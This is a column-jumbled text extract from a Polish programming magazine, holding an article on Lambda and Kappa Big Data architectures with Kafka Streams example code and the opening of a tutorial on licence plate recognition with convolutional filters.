i różnorodność (Variety). er), warstwę strumieniową (ang. stream layer) i warstwę serwisową
Wolumen (Volume) odnosi się do ogromnej ilości przetwarza- (ang. service layer).
nych i składowanych obecnie danych, których źródłem są media spo- Dane w systemie procesowane są jednocześnie przez warstwę
łecznościowe, e-commerce czy Internet of Things. Często stosowane wsadową i warstwę strumieniową, z tym że dane procesowane przez
są tutaj chmurowe rozwiązania Data Lake. warstwę wsadową nie są dostępne natychmiastowo dla zapytań.
Szybkość (Velocity) określa tempo przyrostu danych ze szcze- Wiąże się to z czasem potrzebnym na przetworzenie dużego zbioru
gólnym uwzględnieniem ich przetwarzania w czasie rzeczywistym danych. Natomiast warstwa strumieniowa nie jest wydajnym rozwią-
(real-time). Mogą to być na przykład rozwiązania POI (Point of In- zaniem dla niektórych analitycznych typów zapytań, które cechuje
teraction – punkt interakcji), korzystające z rozwiązań chmurowych, złożoność i długi czas odpowiedzi.
integrujące systemy płatności, programy lojalnościowe i marketing. Nowy strumień danych dostarczony do warstwy wsadowej jest
Rozwiązania te są ewolucją tradycyjnych rozwiązań POSowych obliczany i przetwarzany na bazie Data Lake, a następnie zapisywa-
w systemach sprzedażowych. W rozwiązaniach POI szczególny ak- ny w bazie danych w pamięci lub bazie NoSQL. Zapisane dane war-
cent położony jest na szybkość dostarczania usług czy czas reakcji stwa wsadowa wykorzystuje do dalszego przetwarzania z MapRedu-
helpdesku, gdzie z pomocą przychodzą rozwiązania Big Data. ce lub Machine Learning w celach predykcji widoków wsadowych.

<70> { 1 / 2022 < 100 > }


/ Architektury Big Data i procesowanie strumienia danych /

Rysunek 1. Architektura Lambda

Mowa tutaj o dużych zbiorach danych i zapytaniach klientów, które Architekturę Lambda można przedstawić za pomocą poniższego
nie mogą być obsłużone w czasie rzeczywistym i często wymagają zapytania z domeny Big Data:
modeli, jak MapReduce, które operują równolegle na całym zbiorze
λ (Pełen zestaw danych) = λ (dane strumieniowe) * λ (dane historyczne)
danych. Na przykład platforma Apache Hadoop MapReduce dzieli
dane wejściowe na niezależne fragmenty, które są przetwarzane rów-
nolegle jako zadania składające się z dwóch funkcji: gdzie wszystkie zapytania odnośnie danych mogą być obsłużone
przez łączenie danych historycznych zawartych w warstwie wsadowej
1. Funkcja map pobiera i analizuje dane wejściowe, tworząc zestaw ze strumieniem danych.
par klucz/wartość na wyjściu. Zalety Lambdy:
2. Funkcja reduce pobiera dane wejściowe wygenerowane przez » Warstwa wsadowa przechowuje dane historyczne w rozproszonym
funkcję map i agreguje pojedyncze wyniki w finalny zestaw środowisku, co ogranicza możliwość wystąpienia błędu lub awarii.
danych. » Dobry balans między prędkością a niezawodnością.
» W przypadku dużych zbiorów danych lub dużej ilości potrzeb-
W warstwie wsadowej dane wcześniej przeprocesowane nie mogą być nych widoków możliwość dodania dodatkowych maszyn do
zmienione, a nowe dane są na bieżąco dodawane. Strumień danych przetwarzania danych.
przetworzony w warstwie wsadowej generuje aktualizacje danych do » Skalowalność i odporność na awarie.
MapReduce lub modelu Machine Learning. Widoki wsadowe mogą » Wynik z warstwy strumieniowej jest tymczasowy i w przypadku
obejmować pełen zestaw danych lub funkcyjne kalkulacje. naprawy danych może być czyszczony w regularnych odstępach
Warstwa strumieniowa zawiera dane, które pojawiły się w syste- czasu, np. co godzinę.
mie od ostatniego załadowania widoków wsadowych. Warto tutaj za Wady Lambdy:
Amazon AWS przytoczyć definicję danych strumieniowych, który » Złożoność kodu.
opisuje je jako dane o małym rozmiarze (kilka kilobajtów), genero- » Trudność w migracji czy reorganizacji.
wane w sposób ciągły przez tysiące źródeł równocześnie. Na przykład
dane strumieniowe to pliki logów generowane przez klientów ko-
ARCHITEKTURA KAPPA
rzystających z aplikacji webowej lub mobilnej, zakupy w e-commer-
ce, aktywność zawodnika w grze, aktywność użytkowników portali Zainicjowana w 2014 roku przez Jay’a Kreps’a (współtwórcę Apache
społecznościowych, finansowe parkiety giełdowe czy dane serwisów Kafka) architektura Kappa opiera się na głównym założeniu, w którym
geoprzestrzennych. Dane te winny być przetwarzane sekwencyjnie przetwarzanie danych w czasie rzeczywistym i przetwarzanie wsado-
i przyrostowo oraz wykorzystywane do takich analityk, jak: korelacje, we odbywa się na jednym stosie technologicznym. Kappa bazuje na
agregacje, filtrowanie czy próbkowanie. Taka analiza pozwala organi- architekturze przesyłania strumieniowego, w której przychodzące se-
zacjom na ocenę konkretnych aspektów ich biznesu, jak: aktywność rie danych trafiają do systemów kolejkowych. Następnie silnik prze-
klienta w serwisie, która jest wykorzystywana do billingu, kliknięcia twarzania danych strumieniowych (real-time) czyta i transformuje
w witrynie internetowej, geolokalizacja urządzeń, ludzi czy towarów. dane do formatu, który może być odpytywany za pomocą narzędzi
Warstwa serwisowa odpytuje i agreguje dane z obu warstw po- analitycznych. Tak przygotowane dane są zapisywane w analitycznej
przez odpowiednie widoki. bazie danych, gotowej do zapytań użytkowników końcowych.

{ WWW.PROGRAMISTAMAG.PL } <71>
PRZETWARZANIE RÓWNOLEGŁE I ROZPROSZONE

Rysunek 2. Architektura Kappa

Architekturę Kappa można przedstawić za pomocą poniższego W odróżnieniu od tradycyjnego brokera Kafki, który wykorzy-
zapytania z domeny Big Data: stuje mikro-batching do procesowania strumienia danych, Kafka
Streams procesują oddzielnie każdą, pojedynczą, przychodzącą wia-
κ (Nowe dane) = κ (Strumień danych)
domość, zapewniając latencję na poziomie milisekund.
Kolejna różnica względem regularnej Kafki jest taka, że dane na
gdzie wszystkie zapytania odnośnie danych mogą być obsłużone przez wejściu do Kafka Streams nie są nazywane wiadomością, lecz rekor-
zastosowanie funkcji Kappa do strumienia danych. Dane w systemie są dem lub faktem, a topiki zostały zastąpione Kstreams i Ktables.
przetwarzane jako strumień zdarzeń i trafiają do zunifikowanego i roz- Kafka Streams wykorzystujemy do procesowania niepowiązane-
proszonego loga. Zdarzenia są posortowane, a stan bieżący zdarzenia go, ciągłego strumienia danych w postaci rekordów i faktów. Każdy
może być zmieniony jedynie przez dodanie nowego zdarzenia. rekord czy fakt jest kolekcją par klucz-wartość. Pary te są typowa-
Zalety Kappy: ne, natomiast wewnątrz Kafki wiadomości są traktowane jako stru-
» Możliwość wdrożenia dla określonych wymagań pamięciowych. mień bajtów. Podejście to zapewnia wysoką wydajność przetwarzania
» Możliwość skalowania horyzontalnego. danych.
» Zmniejszone zapotrzebowanie na zasoby. Kafka Streams dostarczają przetwarzanie stanowe i bezstanowe,
funkcje okienkowe, złączenia i agregacje.
Wady Kappy: Jako że Kafka Streams są biblioteką Java, nie są one wdrażane na
» Brak warstwy wsadowej może doprowadzić do błędów w prze- osobny klaster czy infrastrukturę. Kafka Streams API są integralną
twarzaniu danych lub aktualizacji bazy danych. częścią aplikacji czy mikroserwisu i skalują się razem z nimi.
Kafka Streams mogą przetwarzać dane na 2 sposoby:
W dalszej części artykułu chcielibyśmy zaprezentować fragment » Kafka → Kafka – gdzie Kafka Streams używamy do agregacji
implementacji architektury Kappa, gdzie strumień danych trafia do i filtrowania, a wynik zapisujemy z powrotem do Kafki na wy-
kolejki Apache Kafka, po czym silnik procesowania danych stru- brany przez nas topik. Dzięki temu uzyskujemy dobrą skalowal-
mieniowych Apache Kafka Streams czyta, transformuje i publikuje ność oraz wysoką dostępność i przepustowość.
wzbogacone dane do bazy NoSQL Cassandra w warstwie serwiso- » Kafka → Zewnętrzny System (na przykład Kafka → Baza Danych
wej. Zgromadzone dane mogą być wykorzystane do dalszych analiz, lub Kafka → Model Data Science) – w tym modelu biblioteka
raportów, Machine Learning czy alertów. Zanim jednak przejdziemy do procesowania strumieni danych, jak Apache Spark, używa
do przykładowego kodu, zacznijmy od wyjaśnienia, czym jest Kafka Kafki jako brokera wiadomości, tj. pobiera wiadomości z Kafki,
Streams i Spark Streaming. a następnie dzieli je na małe okienka i wykorzystuje do dalszego
przetwarzania.

KAFKA STREAMS
APACHE SPARK
Kafka Streams, zbudowana na bazie Apache Kafka, to biblioteka języ-
ka Java wykorzystywana głównie do przetwarzania i analizy zgroma- Apache Spark jest platformą równoległego przetwarzania danych, któ-
dzonych na Kafce danych. Aby uruchomić przetwarzanie strumienia ra łączy w sobie wiele aspektów związanych z przetwarzaniem stru-
danych z Kafka Streams, nie potrzebujemy dodatkowej infrastruktu- mienia danych, takich jak Machine Learning (biblioteka Spark MLlib
ry czy fizycznych zasobów. składająca się między innymi z algorytmów uczenia i narzędzi do kla-

<72> { 1 / 2022 < 100 > }


/ Architektury Big Data i procesowanie strumienia danych /

syfikacji, regresji, grupowania i filtrowania), trenowanie modeli offline Sklep internetowy Zalando wykorzystuje Kafkę jako platformę ESB
czy wykorzystanie modeli online do punktacji (ang. scoring) danych. w migracji architektury monolitycznej do mikroserwisów, a Kafka
Spark może być zasilany strumieniem danych z rozproszonych Streams do analizy strumieni zdarzeń i BI czasu rzeczywistego.
zasobów sieciowych, jak np. Cassandra czy MongoDB. Dane prze- Serwis społecznościowy Pinterest używa Kafki i Kafka Streams do
kształcane są w podstawowy typ danych wykorzystywany przez zasilania predykcyjnego systemu budżetowego w czasie rzeczywistym.
Spark, czyli RDD (Resiliet Distributed Dataset), dzielone na mikro
wsady, które są procesowane przez silnik Spark do utworzenia final-
Spark Streaming
nego strumienia wyników. Spark dostarcza również abstrakcję okre-
ślaną strumieniem dyskretnym (DStream), która reprezentuje ciągły Booking.com – używa Spark do budowania online rozwiązania Ma-
strumień danych. Może ona być zasilana z Kafki, Flume, Kinesis czy chine Learning do predykcji w czasie rzeczywistym zachowań i prefe-
wysokopoziomowych operacji na innych strumieniach dyskretnych rencji użytkowników czy podaży hoteli.
(DStream). Wewnętrznie Dstream jest reprezentowany jako sekwen- Yelp – wykorzystuje śledzenie zdarzeń dotyczących reklam, które
cja RDD. pozwala zarządzać dużą liczbą kampanii reklamowych i dzielić me-
tryki odsłon reklam z klientami w krótkim czasie.

PORÓWNANIE SPARK STREAMING


Z KAFKA STREAMS PRZYKŁADOWA IMPLEMENTACJA
Logika biznesowa
Spark Streaming Kafka Streams W części praktycznej zaprezentowany został przypadek biznesowy,
z jakim mamy do czynienia w typowych aplikacjach klasy Enterprise.
Opisane w części teoretycznej architektury Big Data do procesowania
Utworzony na Uniwersytecie Kalifornij-
Utworzone przez LinkedIn, przekazane strumieni danych wraz z wymienionymi technologiami często znaj-
skim, przekazany do Apache Software
do Apache Software Foundation
Foundation dują zastosowanie w branży e-commerce.
Wyobraźmy sobie zatem system, w którym mamy kilka/kilkana-
ście/kilkaset czy nawet kilka tysięcy (!) sklepów (technicznie rzecz
Strumienie danych wejściowych są
Procesowanie pojedynczej wiadomości
dzielone na mikro wsady do dalszego mówiąc, będzie to nasz komponent Kafka Publisher), które wysyłają
ze strumienia w czasie rzeczywistym
przetwarzania
równolegle zamówienia klientów do dużej, wielobranżowej hurtow-
ni (u nas komponent Kafka Stream). Następnie hurtownia ta zbiera
Wymagany jest dedykowany klaster do Brak wymagań odnośnie dodatkowej wszystkie zamówienia (rekordy/fakty), grupuje je w celach staty-
przetwarzania infrastruktury stycznych oraz zlicza w celach predykcyjnych (Apache Spark świetnie
się do tego nadaje). Wyniki analiz zebranych zamówień służą właści-
cielowi hurtowni do określenia, ile towarów powinien mieć na stanie,
Komponent platformy Spark. Może być
uruchomiony jako standalone, YARN Biblioteka Java. Skalowanie równoległe aby część logistyczna biznesu mogła sprawnie wysyłać zamówione
lub w kontenerze. Skalowanie wymaga z aplikacją i procesem javowym
rekonfiguracji
towary do klientów (Kafka Consumer). Co więcej, dzięki szybkiemu
dostępowi do danych aktualnych oraz historycznych (baza danych
Cassandra), działy marketingu oraz analizy biznesowej, którym za-
Semantyka At least Once Semantyka Exactly Once leży na maksymalizacji zysków naszej hurtowni, mają dostęp do sze-
rokiego zakresu danych historycznych i bieżących. Mogą dzięki temu
szybciej reagować na zmiany, podejmować skuteczniejsze, mniej ry-
Idealne do procesowania grupy wierszy:
grupowanie, Machine Learning, funkcje
Idealne do procesowania pojedynczych zykowne i bardziej trafne decyzje.
rekordów
okienkowe

Architektura rozwiązania
Framework Biblioteka
Komponent Kafka Publisher reprezentuje grupę niezależnych mikro-
serwisów Java z producentem Kafki, które równolegle publikują zda-
Tabela 1. Porównanie Spark Streaming z Kafka Streams rzenia związane z zakupami do hurtowni.
Hurtownia zbudowana na klastrze kafkowym zawiera topik i par-

PRZYKŁADY UŻYCIA tycje, na które trafiają zamówienia, jak również topik, na którym są
zapisywane wyniki z serwisu analitycznego.
Serwis analityczny to kolejny mikroserwis Java, który na bazie
Kafka Streams
Kafka Streams przetwarza strumień danych i zapisuje wyniki analizy
Dziennik The New York Times wykorzystuje Kafkę i Kafka Streams do na topik summary lub do NoSQLowej bazy Cassandra w celach dal-
przechowywania i dystrybucji w czasie rzeczywistym treści publiko- szej analizy wsadowej.
wanych do zewnętrznych aplikacji oraz systemów.

{ WWW.PROGRAMISTAMAG.PL } <73>
PRZETWARZANIE RÓWNOLEGŁE I ROZPROSZONE

Podstawowe pojęcia związane z Kafka oraz Poglądowe fragmenty kodu


Stream API W następnej sekcji prezentujemy kluczowe fragmenty kodu aplikacji
» Event – wiadomość/zdarzenie/rekord/fakt zawierający przesyła- z punktu widzenia technologii Apache Kafka.
ną informację. Na zdarzenie składają się takie informacje, jak: Zacznijmy od konfiguracji środowiska uruchomieniowego dla
ǿ Key (klucz), naszych serwisów. W Listingu 1 przedstawiono konfigurację serwi-
ǿ Value (wartość), sów w docker-compose, w którym zdefiniowane zostały między in-
ǿ Timestamp (aktualny moment przesłania), nymi broker Apache Kafka czy Apache Zookeeper. Serwis Zookeeper
ǿ Metadane (opcjonalne). służy do przechowywania i rozprowadzania informacji o ustawie-
» Topik – kontener zdarzeń/faktów/rekordów z przypisanymi niach poszczególnych węzłów w klastrze Kafki – zainteresowanych
partycjami, offsetem i id. odsyłamy do oficjalnej dokumentacji po więcej szczegółów. Mamy
» Producer – aplikacja kliencka Kafki, która publikuje zdarzenia również dodany serwis z obrazem dockerowym bazy danych NoSQL
na topik. Cassandra. Z rzeczy wartych zwrócenia uwagi przy konfiguracji: na-
» Consumer – aplikacja kliencka Kafki, która odczytuje zdarzenia leży być ostrożnym podczas mapowania portów Dockera, dostęp-
z topik Kafki. nych dla naszych serwisów uruchomionych na maszynie hosta (patrz
» KStreams – jest to klasa, która implementuje abstrakcyjny stru- właściwość ports).
mień zdarzeń. Zdarzenia nie są ze sobą powiązane, mają klucz
Listing 1. Konfiguracja kontenerów Docker dla Apache Kafka, Zookeeper
i wartość. Każde zdarzenie można porównać analogicznie do i bazy danych Cassandra
operacji INSERT w bazie danych, z tą różnicą, że klucze o tej sa-
FileName: docker-compose.yml
mej wartości są przyjmowane oraz nie nadpisują już obecnych.
version: '3'
» KTables – jest to klasa, która implementuje abstrakcyjny stru- services:
mień zmian. Ta reprezentacja danych jest bardziej podobna do kafka:
image: wurstmeister/kafka
zwykłej tabeli w bazie danych. Każde nowe zdarzenie traktuje container_name: kafka
jako nadpisanie danych o tym samym kluczu, co można porów- ports:
- "9092:9092"
nać do metody UPDATE. Jeżeli jeszcze nie ma takiego klucza, to environment:
wykonuje INSERT. - KAFKA_ADVERTISED_HOST_NAME=127.0.0.1
- KAFKA_ADVERTISED_PORT=9092

Rysunek 3. Diagram zaimplementowanej architektury

<74> { 1 / 2022 < 100 > }


/ Architektury Big Data i procesowanie strumienia danych /

- KAFKA_ZOOKEEPER_CONNECT=zookeeper:2181 W naszym przypadku będą to dane zamówienia, które pochodzą


depends_on:
- zookeeper z jednego z 3 sklepów. Serwisy wykorzystują springowy, szablonowy
zookeeper: model KafkaTemplate, opakowujący instancję producenta, umożli-
image: wurstmeister/zookeeper
ports: wiający asynchroniczne wysyłanie informacji do Kafki. Implementa-
- "2181:2181" cja przedstawiona została w Listingu 4.
environment:
- KAFKA_ADVERTISED_HOST_NAME=zookeeper
Listing 4. Klasa odpowiadająca za wysyłanie wiadomości do Kafki
cassandradb:
image: cassandra
container_name: cassandradb @Component
ports: public class Producer {
- "9042:9042" public static final String TOPIC = "Order";

@Autowired
private KafkaTemplate kafkaTemplate;

W Listingu 2 przedstawiono konfigurację serwisu publikującego zda- public void sendMessage(Product message){
ListenableFuture send =
rzenia na topik Kafki (Publisher), a w Listingu 3 konfigurację serwisu kafkaTemplate.send(TOPIC, message);
korzystającego z Kafka Streams. Do napisania obu aplikacji klienc-
send.addCallback(new ListenableFutureCallback<
kich wykorzystaliśmy Java, Spring Boot i biblioteki Kafka. SendResult<String, Product>>()
{
Listing 2. Konfiguracja serwisu Kafka Publisher @Override
public void onSuccess(
server.port=9000 SendResult<String, Product> result)
spring.kafka.producer.bootstrap-servers=localhost:9092 {
spring.kafka.producer.key-serializer= System.out.println(
org.apache.kafka.common.serialization.StringSerializer "Sent message=[" + message.toString() +
spring.kafka.producer.value-serializer= "] with offset=[" +
com.kafka.stream.demo.ProductSerializer result.getRecordMetadata().offset() +
"]");
}
Listing 3. Konfiguracja serwisu Kafka Stream @Override
public void onFailure(Throwable ex) {
spring.cloud.stream: System.out.println("Unable to send message=[" +
function: message.toString() +
definition: process "] due to : " + ex.getMessage());}
bindings: });
process-in-0: Order }
process-out-0: Summary }
kafka:
streams:
binder:
applicationId: analytics-service Wszystkie zdarzenia opublikowane na topik Order procesowane są
configuration: następnie przez serwis zawierający Apache Stream API, który za-
commit.interval.ms: 100
default: gregowane i przetransformowane informacje publikuje na kolejne
key.serde:
topiki. Tak przygotowane dane są dostępne dla aplikacji klienckich
org.apache.kafka.common.
serialization.Serdes$StringSerde Kafki, które konsumują dane z topików. Opracowane dane następ-
value.serde:
com.kafka.stream.demo.ProductSerde
nie mogą zostać zapisane w bazie danych Apache Cassandra w celu
dalszej analizy lub przeprocesowane przez algorytmy m.in. Machine
Learning zaimplementowane w Apache Spark. W Listingu 5 pokaza-
Mając działające kontenery Docker, uruchamiamy serwisy, które na no, jak dane mogą zostać przeprocesowane za pomocą Stream API.
odpowiedni topik Kafki publikują przykładowe dane: Zamieszczony przykład zlicza ilości zamówionych towarów, pogru-
powanych po nazwie. Dla każdego rodzaju zamawianego produktu
Sent message=[{
"idShop" : 1, udostępniamy również informacje o całkowitej sumie sprzedaży, ce-
"name" : "Telephone XYZ", nie minimalnej, maksymalnej oraz średniej.
"qty" : 4,
"price" : 3485,
Listing 5. Procesowanie strumienia danych z użyciem Apache Stream
"time" : 1640218935
}] with offset=[0]
@SpringBootApplication
Sent message=[{
public class OrderProcessingApp {
"idShop" : 2,
public static void main(String[] args) {
"name" : "Laptop XYZ",
SpringApplication.run(OrderProcessingApp.class, args);
"qty" : 2,
}
"price" : 10578,
"time" : 1640218937 public static class OrderProcessing {
}] with offset=[1] public static final int WINDOW_SIZE_MS =
Sent message=[{ 30_000;
"idShop" : 3,
"name" : "Watch XYZ", @Bean
"qty" : 4, public Function<KStream<Bytes, Product>,
"price" : 368, KStream<Bytes, String>> process() {
"time" : 1640218938
}] with offset=[2] return stream ->
stream.map((key, value) ->
new KeyValue<>(value.getIdShop()

{ WWW.PROGRAMISTAMAG.PL } <75>
PRZETWARZANIE RÓWNOLEGŁE I ROZPROSZONE

+ "-" + value.getName(), value)) {"idShop":"3","item":"Telephone XYZ",


.groupByKey(Grouped.with(Serdes.String(), "count":350,"avg":2646,"min":2301, "max":5005,"sum":926100,"ti
new ProductSerde())) me":1680219670000}
.windowedBy(TimeWindows.of(
Duration.ofMillis(WINDOW_SIZE_MS)))
.aggregate(() -> new ProductCalc(0, Integer.MAX_VALUE,
Integer.MIN_VALUE, 0, 0),
(key, value, aggregate) -> {
PODSUMOWANIE
aggregate.setMin(Math.min(aggregate.getMin(),
value.getPrice())); Mamy nadzieję, że udało się nam w prosty i praktyczny sposób przy-
aggregate.setMax(Math.max(aggregate.getMax(), bliżyć temat architektury Big Data i przetwarzania strumieni danych
value.getPrice()));
aggregate.setCount(aggregate.getCount() + w czasie rzeczywistym. Zdajemy sobie sprawę, jak obszerna jest to
value.getQty()); dziedzina, a także, że takie zagadnienia jak MapReduce czy Machine
aggregate.setSum(aggregate.getSum() +
(value.getPrice() * value.getQty())); Learning zasługują na osobne artykuły.
aggregate.setAvg(aggregate.getSum() Dlatego też zachęcamy wszystkich zainteresowanych do pogłębia-
/ aggregate.getCount());
return aggregate; }, nia wiedzy dotyczącej powyższych zagadnień oraz praktycznego wy-
Materialized.with(
Serdes.String(), new ProductCalcSerde()))
korzystywania Apacha Kafka lub Apache Spark Streaming w swoich
.toStream() projektach.
.map((key, value) ->
new KeyValue<>(null, new ProductOutput(key.key(),
value).toString()));
}
} Bibliografia
» nathanmarz.com/blog/how-to-beat-the-cap-theorem.html
Przykładowe logi po przeprocesowaniu odczytanych wiadomości za- » aws.amazon.com/streaming-data
prezentowano poniżej. W miarę jak spływają kolejne zamówienia na » kafka.apache.org/documentation/streams
» docs.confluent.io/platform/current/streams
topik Order, silnik Kafki Stream aktualizuje dane. » bigdatapassion.pl/bltowardsdatascience.com/a-brief-introduction-to-two-data-
processing-architectures-lambda-and-kappa-for-big-data-4f35c28005bbog/spark/
{"idShop":"1","item":"Telephone XYZ", spark-programming-rdd
"count":234,"avg":2346,"min":2101, » spark.apache.org
"max":2545,"sum":5489643, "time":1640219670000} » ajstorm.medium.com/the-lambda-architecture-simplified-a28e436fa55e
{"idShop":"3","item":"Laptop XYZ", » hazelcast.com/glossary/kappa-architecture
"count":150,"avg":5543,"min":1809, » medium.com/cloud-believers/detail-overview-of-lambda-architecture-baf7e155da38
"max":10000,"sum":831453,"time":1640219170000} » bigstep.com/blog/three-vs-big-data
{"idShop":"2","item":"Watch XYZ", » miuc.org/vs-big-data
"count":1150,"avg":523,"min":150, "max":23450,"sum":601450,"ti » gartner.com/analyst/40872/Douglas-Laney
me":1650219670000}

MARCIN MIKŁASZ
Programista, architekt, obecnie Application Development Manager w firmie Accenture, gdzie pracuje nad rozwiązaniami z bran-
ży retail i store automation. Wcześniej rozwijał systemy z branży automotive i rozwiązania BI.

BARTŁOMIEJ SZCZOTKA
Absolwent Informatyki na Politechnice Śląskiej w Gliwicach, aktualnie starszy programista mikroserwisów w firmie Accenture.
W wolnym czasie entuzjasta-kolekcjoner gry karcianej Magic: The Gathering. Ulubiony sport: tenis stołowy.

KONRAD KOWALCZYK
Programista Java w firmie Accenture. Pisanie kodu jest jedną z jego pasji. Rozwija się w kierunku mikroserwisów, a w wolnym
czasie pisze aplikacje na Androida. Poza programowaniem do jego pasji należą też piłka nożna, siłownia i muzyka.

<76> { 1 / 2022 < 100 > }


ALGORYTMIKA

Problem ANPR
Automatyczne rozpoznawanie tablic rejestracyjnych

Na wlocie do Wrocławia od strony Warszawy znajdują się dwie bramki. Na pierwszej z nich
zainstalowano dwie kamery oraz radary mierzące prędkość, zaś na drugiej, nieco dalej,
umieszczono tablice wyświetlające napisy przy pomocy diod LED. Gdy kierowca przejedzie
przez pierwszą bramkę zbyt szybko, na tablicy odpowiadającej jego pasowi ruchu pojawi się
ostrzeżenie wraz z numerem rejestracyjnym jego samochodu. Jak to możliwe?

PROBLEM stowych, więc będziemy musieli zadowolić się tablicą skonstruowaną


w sposób sztuczny. Zachęcam jednak do samodzielnego zaimple-
Miłośnicy teorii spiskowych mogliby podnieść raban o ukrytych w sa- mentowania całego algorytmu i przetestowania go na prawdziwych,
mochodach nadajnikach, rozgłaszających radiowo numer tablicy re- niezmodyfikowanych zdjęciach.
jestracyjnej, ale prawda okazuje się być o wiele prostsza. Do rozpo-
znania numeru tablicy rejestracyjnej wystarczy bowiem w zupełności
obraz zarejestrowany umieszczoną nad ulicą kamerą oraz komputer,
a właściwie nawet trochę lepszy mikrokontroler, który taki obraz
w odpowiedni sposób przetworzy.
O ile jednak zrobienie zdjęcia nie należy do zbyt dużych progra-
mistycznych wyzwań, to odzyskanie z takiego zdjęcia numeru tablicy
rejestracyjnej w postaci czystego tekstu jest już nietrywialnym zada-
niem. Spróbujmy więc się z nim zmierzyć.

JAK ZACZĄĆ
Przede wszystkim musimy jasno postawić problem. Na wejściu otrzy-
mujemy zdjęcie w dowolnym (sensownym) formacie i o poziomej
rozdzielczości nie mniejszej niż 800 pikseli (zależy nam na tym, żeby
było na nim widocznych wystarczająco dużo detali). Możemy też za-
Rysunek 1. Zdjęcie, które będzie stanowiło dla nas dane wejściowe
łożyć, że tablica rejestracyjna jest na nim w miarę dobrze widoczna
(implementację znanego z holywoodzkich filmów rozwiązania pod
tytułem „zoom and enhance” zostawmy sobie na kiedy indziej).
NARZĘDZIA
W ramach „dobrze widoczna” zawiera się również to, że powinna
ona zostać sfotografowana w miarę na wprost, czyli prostopadle do Całe rozwiązanie zaprogramujemy w języku Python, ponieważ została
obiektywu kamery. Nasz algorytm poradzi sobie wprawdzie z krzy- dla niego napisana cała masa bibliotek ułatwiających analizę i prze-
wymi obrazami, ale im bardziej będą one zniekształcone, tym mniej- twarzanie danych. W szczególności użyjemy bibliotek NumPy, scikit-
sza będzie jego dokładność. Na wyjściu będziemy oczekiwać ciągu -image i OpenCV do przetworzenia obrazu oraz scikit-learn i Tensor-
znaków reprezentującego rozpoznaną tablicę rejestracyjną. Flow do zbudowania splotowej sieci neuronowej, przy pomocy której
Faktycznie stoją przed nami dwa zadania. Po pierwsze, tablicę zaimplementujemy własny mechanizm OCR. Dla tego ostatniego bę-
rejestracyjną musimy na obrazie odnaleźć. Może ona znajdować się dziemy musieli samodzielnie wygenerować trochę przykładowych ob-
w różnych miejscach i mieć różne rozmiary (zależnie od tego, z jakiej razów, w czym pomoże nam popularna biblioteka Pillow.
odległości i pod jakim kątem została ona sfotografowana), więc po- Przed przystąpieniem do pracy konieczne więc będzie pobranie
trzebny będzie algorytm, który zrealizuje to zadanie niezależnie od wszystkich pakietów z Internetu. W tym celu skorzystamy z mena-
wspomnianych parametrów. Gdy natomiast uda nam się odizolować dżera pakietów Pythona o nazwie pip:
fragment obrazu zawierający poszukiwany przez nas obiekt, drugim
Listing 1. Instalacja potrzebnych pakietów
zadaniem będzie znalezienie sposobu na to, żeby rozpoznać znajdu-
jące się na nim znaki, czyli wykonać OCR (ang. Optical Character Re- .\python.exe -m pip install pillow
.\python.exe -m pip install numpy
cognition – wizualne rozpoznawanie znaków). .\python.exe -m pip install scikit-learn
Na potrzeby tego artykułu skorzystamy ze zdjęcia, które zrobiłem .\python.exe -m pip install scikit-image
.\python.exe -m pip install opencv-python
na parkingu wrocławskiej galerii handlowej. Z oczywistych powodów .\python.exe -m pip install tensorflow
nie mogę opublikować oryginału ani moich dodatkowych danych te-

<78> { 1 / 2022 < 100 > }


ALGORYTMIKA

Uwaga: potrzebne nam pakiety zajmują dosyć dużo miejsca. Do ich tyczną operację zdefiniowaną przez konkretny filtr. W przypadku
zainstalowania będziemy potrzebować ok. 500 MB wolnej przestrze- rozmycia jest to średnia arytmetyczna, ale w innych sytuacjach może
ni dyskowej. być to na przykład suma albo też dowolna inna funkcja agregująca,
jak choćby maksimum czy minimum.

FILTRY SPLOTOWE
Zanim zaczniemy naszą przygodę z rozpoznawaniem tablic rejestra-
cyjnych, musimy przyswoić trochę wiedzy. Bodaj najważniejszym
(i, co zabawne, chyba też najprostszym) pojęciem są tak zwane filtry
splotowe (inaczej filtry konwolucyjne – ang. convolutional filters).
Moja kilkunastoletnia programistyczna kariera nauczyła mnie
bardzo ważnej rzeczy. Programiści i naukowcy mają ogromną ten-
dencję do nazywania prostych rzeczy w skomplikowany sposób. Jest
tak również i w tym przypadku, bo pod pojęciem filtra splotowego Rysunek 3. Sposób działania filtra splotowego
kryje się bardzo prosty algorytm, który sprowadza się w zasadzie
głównie do dodawania, mnożenia i dzielenia wartości reprezentują-
cych kolory pikseli. Filtry splotowe są bardziej potężnym narzędziem niż mogłoby się
Jak wiemy, obrazy są zapisywane w pamięci komputera w posta- wydawać. Oprócz takich operacji, jak rozmycie lub usunięcie szumu,
ci liczb. Każdy piksel kolorowego obrazu opisywany jest przez trzy pozwalają również na ograniczone wykrywanie cech, na przykład
wartości wyrażające natężenie składowej czerwonej, zielonej i nie- detali albo krawędzi. Wszystko zależy od rozmiaru jądra, zawartych
bieskiej. Przeważnie operujemy na bajtach, bo nawet przy 255 pozio- w nim wag, położenia kotwicy oraz operacji agregującej, generującej
mach natężenia dowolnej składowej zmiana wartości o jednostkę po- ostateczny wynik.
woduje tak nieznaczną różnicę koloru, że gołym okiem trudno jest ją
dostrzec, choć w przypadku danych, w których każda drobna zmiana
SPLOTOWE SIECI NEURONOWE
jest bardzo istotna (na przykład obrazów medycznych), można zasto-
sować również większą precyzję. Opisane przed chwilą filtry splotowe wystarczą nam w zupełności, by
Jeżeli obraz składa się z odcieni szarości, każdy piksel opisany jest z dużą dozą prawdopodobieństwa określić miejsca, w których może
tylko jedną składową – natężeniem światła. Wartość 0 oznacza kolor znajdować się tablica rejestracyjna. Gdy ją jednak odnajdziemy, sta-
czarny, 255 – biały, a wszystkie wartości pośrednie odpowiadają za niemy przed koniecznością rozpoznania na niej znaków i wtedy za-
różne odcienie koloru szarego. danie mocno się skomplikuje.
Każdy filtr splotowy wymaga wyznaczenia jądra oraz rodzaju ma- Istnieją specjalne filtry splotowe, które pozwalają na wykrycie określo-
tematycznych operacji, które będą realizowane na przetworzonych nych elementów obrazu. Powszechnie znany jest na przykład filtr So-
pikselach. Jądrem filtra splotowego jest tablica (macierz), wewnątrz bela, który służy do wykrywania na obrazie krawędzi (na Rysunku 4
której znajduje się szereg wartości zwanych wagami. Dla przykładu, widzimy przykład zastosowania tego filtra, który wykrywa krawędzie
jądro prostego filtra rozmywającego obraz (tzw. box blur) może wy- pionowe). Wykryte cechy widoczne są jako jasne piksele.
glądać następująco:

Rysunek 2. Jądro filtra rozmycia 3x3

Definicja jądra powinna zawierać również informację o kotwicy


